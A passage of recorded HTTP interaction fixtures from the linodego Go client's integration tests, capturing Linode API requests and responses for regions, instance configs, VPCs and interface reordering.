1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:20 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-jv53v34je07p","firewall_id":692854,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61874250, "label": "go-test-ins-wo-disk-jv53v34je07p", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.234.34.222"], "ipv6": "1234::5678/128", "image": null, "region": "us-iad", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "81a6689e2a5932cbf36d6571b2b808a00bb59c64", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "806" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-i26n6k4q0t7d","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874250/configs method: POST response: body: '{"id": 65094710, "label": "go-test-conf-i26n6k4q0t7d", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": false, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "540" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1721929581946357000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1721929581946537000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 78826, "label": "go-test-vpc-1721929581946357000", "description": "", "region": "us-iad", "subnets": [{"id": 76445, "label": "linodego-vpc-test-1721929581946537000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "365" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:22 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-i26n6k4q0t7d","comments":"","devices":{},"helpers":{"updatedb_disabled":true,"distro":true,"modules_dep":true,"network":false,"devtmpfs_automount":true},"interfaces":[{"purpose":"public"},{"label":"testvlan","purpose":"vlan"},{"purpose":"vpc","subnet_id":76445,"ipv4":{"nat_1_1":"any"}}],"memory_limit":0,"kernel":"linode/latest-64bit","init_rd":null,"root_device":"/dev/sda","run_level":"default","virt_mode":"paravirt"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874250/configs/65094710 method: PUT response: body: '{"id": 65094710, "label": "go-test-conf-i26n6k4q0t7d", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": false, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": [{"id": 2047754, "purpose": "public", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 2047755, "purpose": "vlan", "primary": false, "active": false, "ipam_address": "", "label": "testvlan", "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 2047756, "purpose": "vpc", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": 78826, "subnet_id": 76445, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": "172.234.34.222"}, "ipv6": null, "ip_ranges": []}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:22 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874250/configs/65094710/interfaces method: GET response: body: '[{"id": 2047754, "purpose": "public", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 2047755, "purpose": "vlan", "primary": false, "active": false, "ipam_address": "", "label": "testvlan", "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 2047756, "purpose": "vpc", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": 78826, "subnet_id": 76445, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": "172.234.34.222"}, "ipv6": null, "ip_ranges": []}]' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "622" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:22 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874250 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:22 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/78826 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:23 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_ConfigInterfaces_Reorder.yaml000066400000000000000000001262161474652371000347600ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object 